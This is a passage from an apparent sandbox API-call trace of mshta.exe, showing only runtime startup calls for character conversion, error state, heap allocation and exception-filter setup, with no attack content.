¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x30f394 | out: lpCharType=0x30f394) returned 1 [0042.601] GetLastError () returned 0x0 [0042.601] SetLastError (dwErrCode=0x0) [0042.601] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0042.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x30f794, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x30f794, cbMultiByte=256, lpWideCharStr=0x30f098, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ亽溂b栽Ā") returned 256 [0042.601] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ亽溂b栽Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0042.601] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ亽溂b栽Ā", cchSrc=256, lpDestStr=0x30ee88, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0042.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x30f694, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿIb\x82áÌø0", lpUsedDefaultChar=0x0) returned 256 [0042.601] GetLastError () returned 0x0 [0042.601] SetLastError (dwErrCode=0x0) [0042.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x30f794, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x30f794, cbMultiByte=256, lpWideCharStr=0x30f0b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ亽溂b槝Ā") returned 256 [0042.601] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ亽溂b槝Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0042.601] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ亽溂b槝Ā", cchSrc=256, lpDestStr=0x30eea8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0042.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x30f594, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿIb\x82áÌø0", lpUsedDefaultChar=0x0) returned 256 [0042.601] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x62b0f0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0042.601] GetLastError () returned 0x0 [0042.601] SetLastError (dwErrCode=0x0) [0042.602] GetLastError () returned 0x0 [0042.602] SetLastError (dwErrCode=0x0) [0042.602] GetLastError () returned 0x0 [0042.602] SetLastError (dwErrCode=0x0) [0042.602] GetLastError () returned 0x0 [0042.602] SetLastError (dwErrCode=0x0) [0042.602] GetLastError () returned 0x0 [0042.602] SetLastError (dwErrCode=0x0) [0042.602] GetLastError () returned 0x0 [0042.602] SetLastError (dwErrCode=0x0) [0042.602] GetLastError () returned 0x0 [0042.602] SetLastError (dwErrCode=0x0) [0042.602] GetLastError () returned 0x0 [0042.602] SetLastError (dwErrCode=0x0) [0042.602] GetLastError () returned 0x0 [0042.602] SetLastError (dwErrCode=0x0) [0042.602] GetLastError () returned 0x0 [0042.602] SetLastError (dwErrCode=0x0) [0042.602] GetLastError () returned 0x0 [0042.602] SetLastError (dwErrCode=0x0) [0042.602] GetLastError () returned 0x0 [0042.603] SetLastError (dwErrCode=0x0) [0042.603] GetLastError () returned 0x0 [0042.603] SetLastError (dwErrCode=0x0) [0042.603] GetLastError () returned 0x0 [0042.603] SetLastError (dwErrCode=0x0) [0042.603] GetLastError () returned 0x0 [0042.603] SetLastError (dwErrCode=0x0) [0042.603] GetLastError () returned 0x0 [0042.603] SetLastError (dwErrCode=0x0) [0042.603] GetLastError () returned 0x0 [0042.603] SetLastError (dwErrCode=0x0) [0042.603] GetLastError () returned 0x0 [0042.603] SetLastError (dwErrCode=0x0) [0042.603] GetLastError () returned 0x0 [0042.603] SetLastError (dwErrCode=0x0) [0042.603] GetLastError () returned 0x0 [0042.603] SetLastError (dwErrCode=0x0) [0042.603] GetLastError () returned 0x0 [0042.603] SetLastError (dwErrCode=0x0) [0042.603] GetLastError () returned 0x0 [0042.604] SetLastError (dwErrCode=0x0) [0042.604] GetLastError () returned 0x0 [0042.604] SetLastError (dwErrCode=0x0) [0042.604] GetLastError () returned 0x0 [0042.604] SetLastError (dwErrCode=0x0) [0042.604] GetLastError () returned 0x0 [0042.604] SetLastError (dwErrCode=0x0) [0042.604] GetLastError () returned 0x0 [0042.604] SetLastError (dwErrCode=0x0) [0042.604] GetLastError () returned 0x0 [0042.604] SetLastError (dwErrCode=0x0) [0042.604] GetLastError () returned 0x0 [0042.604] SetLastError (dwErrCode=0x0) [0042.604] GetLastError () returned 0x0 [0042.604] SetLastError (dwErrCode=0x0) [0042.604] GetLastError () returned 0x0 [0042.604] SetLastError (dwErrCode=0x0) [0042.604] GetLastError () returned 0x0 [0042.604] SetLastError (dwErrCode=0x0) [0042.605] GetLastError () returned 0x0 [0042.605] SetLastError (dwErrCode=0x0) [0042.605] GetLastError () returned 0x0 [0042.605] SetLastError (dwErrCode=0x0) [0042.605] GetLastError () returned 0x0 [0042.605] SetLastError (dwErrCode=0x0) [0042.605] GetLastError () returned 0x0 [0042.605] SetLastError (dwErrCode=0x0) [0042.605] GetLastError () returned 0x0 [0042.605] SetLastError (dwErrCode=0x0) [0042.605] GetLastError () returned 0x0 [0042.605] SetLastError (dwErrCode=0x0) [0042.605] GetLastError () returned 0x0 [0042.605] SetLastError (dwErrCode=0x0) [0042.605] GetLastError () returned 0x0 [0042.605] SetLastError (dwErrCode=0x0) [0042.605] GetLastError () returned 0x0 [0042.605] SetLastError (dwErrCode=0x0) [0042.605] GetLastError () returned 0x0 [0042.605] SetLastError (dwErrCode=0x0) [0042.605] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.606] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.606] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.606] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.606] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.606] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.606] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.606] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.606] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.606] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.606] GetLastError () returned 0x0 [0042.606] SetLastError (dwErrCode=0x0) [0042.607] GetLastError () returned 0x0 [0042.607] SetLastError (dwErrCode=0x0) [0042.607] GetLastError () returned 0x0 [0042.607] SetLastError (dwErrCode=0x0) [0042.607] GetLastError () returned 0x0 [0042.607] SetLastError (dwErrCode=0x0) [0042.607] GetLastError () returned 0x0 [0042.607] SetLastError (dwErrCode=0x0) [0042.607] GetLastError () returned 0x0 [0042.607] SetLastError (dwErrCode=0x0) [0042.607] GetLastError () returned 0x0 [0042.607] SetLastError (dwErrCode=0x0) [0042.607] GetLastError () returned 0x0 [0042.607] SetLastError (dwErrCode=0x0) [0042.607] GetLastError () returned 0x0 [0042.607] SetLastError (dwErrCode=0x0) [0042.607] GetLastError () returned 0x0 [0042.607] SetLastError (dwErrCode=0x0) [0042.607] GetLastError () returned 0x0 [0042.607] SetLastError (dwErrCode=0x0) [0042.608] GetLastError () returned 0x0 [0042.608] SetLastError (dwErrCode=0x0) [0042.608] GetLastError () returned 0x0 [0042.608] SetLastError (dwErrCode=0x0) [0042.608] GetLastError () returned 0x0 [0042.608] SetLastError (dwErrCode=0x0) [0042.608] GetLastError () returned 0x0 [0042.608] SetLastError (dwErrCode=0x0) [0042.608] GetLastError () returned 0x0 [0042.608] SetLastError (dwErrCode=0x0) [0042.608] GetLastError () returned 0x0 [0042.608] SetLastError (dwErrCode=0x0) [0042.608] GetLastError () returned 0x0 [0042.608] SetLastError (dwErrCode=0x0) [0042.608] GetLastError () returned 0x0 [0042.608] SetLastError (dwErrCode=0x0) [0042.608] GetLastError () returned 0x0 [0042.608] SetLastError (dwErrCode=0x0) [0042.608] GetLastError () returned 0x0 [0042.608] SetLastError (dwErrCode=0x0) [0042.608] GetLastError () returned 0x0 [0042.609] SetLastError (dwErrCode=0x0) [0042.609] GetLastError () returned 0x0 [0042.609] SetLastError (dwErrCode=0x0) [0042.609] GetLastError () returned 0x0 [0042.609] SetLastError (dwErrCode=0x0) [0042.609] GetLastError () returned 0x0 [0042.609] SetLastError (dwErrCode=0x0) [0042.609] GetLastError () returned 0x0 [0042.609] SetLastError (dwErrCode=0x0) [0042.609] GetLastError () returned 0x0 [0042.609] SetLastError (dwErrCode=0x0) [0042.609] GetLastError () returned 0x0 [0042.609] SetLastError (dwErrCode=0x0) [0042.609] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x160) returned 0x191610 [0042.609] GetLastError () returned 0x0 [0042.609] SetLastError (dwErrCode=0x0) [0042.609] GetLastError () returned 0x0 [0042.609] SetLastError (dwErrCode=0x0) [0042.609] GetLastError () returned 0x0 [0042.609] SetLastError (dwErrCode=0x0) [0042.609] GetLastError () returned 0x0 [0042.610] SetLastError (dwErrCode=0x0) [0042.610] GetLastError () returned 0x0 [0042.610] SetLastError (dwErrCode=0x0) [0042.610] GetLastError () returned 0x0 [0042.610] SetLastError (dwErrCode=0x0) [0042.610] GetLastError () returned 0x0 [0042.610] SetLastError (dwErrCode=0x0) [0042.610] GetLastError () returned 0x0 [0042.610] SetLastError (dwErrCode=0x0) [0042.610] GetLastError () returned 0x0 [0042.610] SetLastError (dwErrCode=0x0) [0042.610] GetLastError () returned 0x0 [0042.610] SetLastError (dwErrCode=0x0) [0042.610] GetLastError () returned 0x0 [0042.610] SetLastError (dwErrCode=0x0) [0042.610] GetLastError () returned 0x0 [0042.610] SetLastError (dwErrCode=0x0) [0042.610] GetLastError () returned 0x0 [0042.610] SetLastError (dwErrCode=0x0) [0042.610] GetLastError () returned 0x0 [0042.610] SetLastError (dwErrCode=0x0) [0042.610] GetLastError () returned 0x0 [0042.611] SetLastError (dwErrCode=0x0) [0042.611] GetLastError () returned 0x0 [0042.611] SetLastError (dwErrCode=0x0) [0042.611] GetLastError () returned 0x0 [0042.611] SetLastError (dwErrCode=0x0) [0042.611] GetLastError () returned 0x0 [0042.611] SetLastError (dwErrCode=0x0) [0042.611] GetLastError () returned 0x0 [0042.611] SetLastError (dwErrCode=0x0) [0042.611] GetLastError () returned 0x0 [0042.611] SetLastError (dwErrCode=0x0) [0042.611] GetLastError () returned 0x0 [0042.611] SetLastError (dwErrCode=0x0) [0042.611] GetLastError () returned 0x0 [0042.611] SetLastError (dwErrCode=0x0) [0042.611] GetLastError () returned 0x0 [0042.611] SetLastError (dwErrCode=0x0) [0042.611] GetLastError () returned 0x0 [0042.611] SetLastError (dwErrCode=0x0) [0042.611] GetLastError () returned 0x0 [0042.612] SetLastError (dwErrCode=0x0) [0042.612] GetLastError () returned 0x0 [0042.612] SetLastError (dwErrCode=0x0) [0042.612] GetLastError () returned 0x0 [0042.612] SetLastError (dwErrCode=0x0) [0042.612] GetLastError () returned 0x0 [0042.612] SetLastError (dwErrCode=0x0) [0042.612] GetLastError () returned 0x0 [0042.612] SetLastError (dwErrCode=0x0) [0042.612] GetLastError () returned 0x0 [0042.612] SetLastError (dwErrCode=0x0) [0042.612] GetLastError () returned 0x0 [0042.612] SetLastError (dwErrCode=0x0) [0042.612] GetLastError () returned 0x0 [0042.612] SetLastError (dwErrCode=0x0) [0042.612] GetLastError () returned 0x0 [0042.612] SetLastError (dwErrCode=0x0) [0042.612] GetLastError () returned 0x0 [0042.612] SetLastError (dwErrCode=0x0) [0042.612] GetLastError () returned 0x0 [0042.613] SetLastError (dwErrCode=0x0) [0042.613] GetLastError () returned 0x0 [0042.613] SetLastError (dwErrCode=0x0) [0042.613] GetLastError () returned 0x0 [0042.613] SetLastError (dwErrCode=0x0) [0042.613] GetLastError () returned 0x0 [0042.613] SetLastError (dwErrCode=0x0) [0042.613] GetLastError () returned 0x0 [0042.613] SetLastError (dwErrCode=0x0) [0042.613] GetLastError () returned 0x0 [0042.613] SetLastError (dwErrCode=0x0) [0042.613] GetLastError () returned 0x0 [0042.613] SetLastError (dwErrCode=0x0) [0042.613] GetLastError () returned 0x0 [0042.613] SetLastError (dwErrCode=0x0) [0042.613] GetLastError () returned 0x0 [0042.613] SetLastError (dwErrCode=0x0) [0042.613] GetLastError () returned 0x0 [0042.613] SetLastError (dwErrCode=0x0) [0042.613] GetLastError () returned 0x0 [0042.614] SetLastError (dwErrCode=0x0) [0042.614] GetLastError () returned 0x0 [0042.614] SetLastError (dwErrCode=0x0) [0042.614] GetLastError () returned 0x0 [0042.614] SetLastError (dwErrCode=0x0) [0042.614] GetLastError () returned 0x0 [0042.614] SetLastError (dwErrCode=0x0) [0042.614] GetLastError () returned 0x0 [0042.614] SetLastError (dwErrCode=0x0) [0042.614] GetLastError () returned 0x0 [0042.614] SetLastError (dwErrCode=0x0) [0042.614] GetLastError () returned 0x0 [0042.614] SetLastError (dwErrCode=0x0) [0042.614] GetLastError () returned 0x0 [0042.614] SetLastError (dwErrCode=0x0) [0042.614] GetLastError () returned 0x0 [0042.614] SetLastError (dwErrCode=0x0) [0042.614] GetLastError () returned 0x0 [0042.614] SetLastError (dwErrCode=0x0) [0042.614] GetLastError () returned 0x0 [0042.614] SetLastError (dwErrCode=0x0) [0042.615] GetLastError () returned 0x0 [0042.615] SetLastError (dwErrCode=0x0) [0042.615] GetLastError () returned 0x0 [0042.615] SetLastError (dwErrCode=0x0) [0042.615] GetLastError () returned 0x0 [0042.615] SetLastError (dwErrCode=0x0) [0042.615] GetLastError () returned 0x0 [0042.615] SetLastError (dwErrCode=0x0) [0042.615] GetLastError () returned 0x0 [0042.615] SetLastError (dwErrCode=0x0) [0042.615] GetLastError () returned 0x0 [0042.615] SetLastError (dwErrCode=0x0) [0042.615] GetLastError () returned 0x0 [0042.615] SetLastError (dwErrCode=0x0) [0042.615] GetLastError () returned 0x0 [0042.615] SetLastError (dwErrCode=0x0) [0042.615] GetLastError () returned 0x0 [0042.615] SetLastError (dwErrCode=0x0) [0042.615] GetLastError () returned 0x0 [0042.615] SetLastError (dwErrCode=0x0) [0042.616] GetLastError () returned 0x0 [0042.616] SetLastError (dwErrCode=0x0) [0042.616] GetLastError () returned 0x0 [0042.616] SetLastError (dwErrCode=0x0) [0042.616] GetLastError () returned 0x0 [0042.616] SetLastError (dwErrCode=0x0) [0042.616] GetLastError () returned 0x0 [0042.616] SetLastError (dwErrCode=0x0) [0042.616] GetLastError () returned 0x0 [0042.616] SetLastError (dwErrCode=0x0) [0042.616] GetLastError () returned 0x0 [0042.616] SetLastError (dwErrCode=0x0) [0042.616] GetLastError () returned 0x0 [0042.616] SetLastError (dwErrCode=0x0) [0042.616] GetLastError () returned 0x0 [0042.616] SetLastError (dwErrCode=0x0) [0042.616] GetLastError () returned 0x0 [0042.616] SetLastError (dwErrCode=0x0) [0042.616] GetLastError () returned 0x0 [0042.616] SetLastError (dwErrCode=0x0) [0042.616] GetLastError () returned 0x0 [0042.617] SetLastError (dwErrCode=0x0) [0042.617] GetLastError () returned 0x0 [0042.617] SetLastError (dwErrCode=0x0) [0042.617] GetLastError () returned 0x0 [0042.617] SetLastError (dwErrCode=0x0) [0042.617] GetLastError () returned 0x0 [0042.617] SetLastError (dwErrCode=0x0) [0042.617] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x5fc) returned 0x191778 [0042.617] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x190e78 | out: hHeap=0x190000) returned 1 [0042.618] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x622aef) returned 0x0 [0042.618] GetLastError () returned 0x0 [0042.618] SetLastError (dwErrCode=0x0) [0042.618] GetLastError () returned 0x0 [0042.618] SetLastError (dwErrCode=0x0) [0042.618] GetLastError () returned 0x0 [0042.619] SetLastError (dwErrCode=0x0) [0042.619] GetLastError () returned 0x0 [0042.619] SetLastError (dwErrCode=0x0) [0042.619] GetLastError () returned 0x0 [0042.619] SetLastError (dwErrCode=0x0) [0042.619] GetLastError () returned 0x0 [0042.619] SetLastError (dwErrCode=0x0) [0042.619] GetLastError () returned 0x0 [0042.619] SetLastError (dwErrCode=0x0) [0042.619] GetLastError () returned 0x0 [0042.619] SetLastError (dwErrCode=0x0) [0042.619] GetLastError () 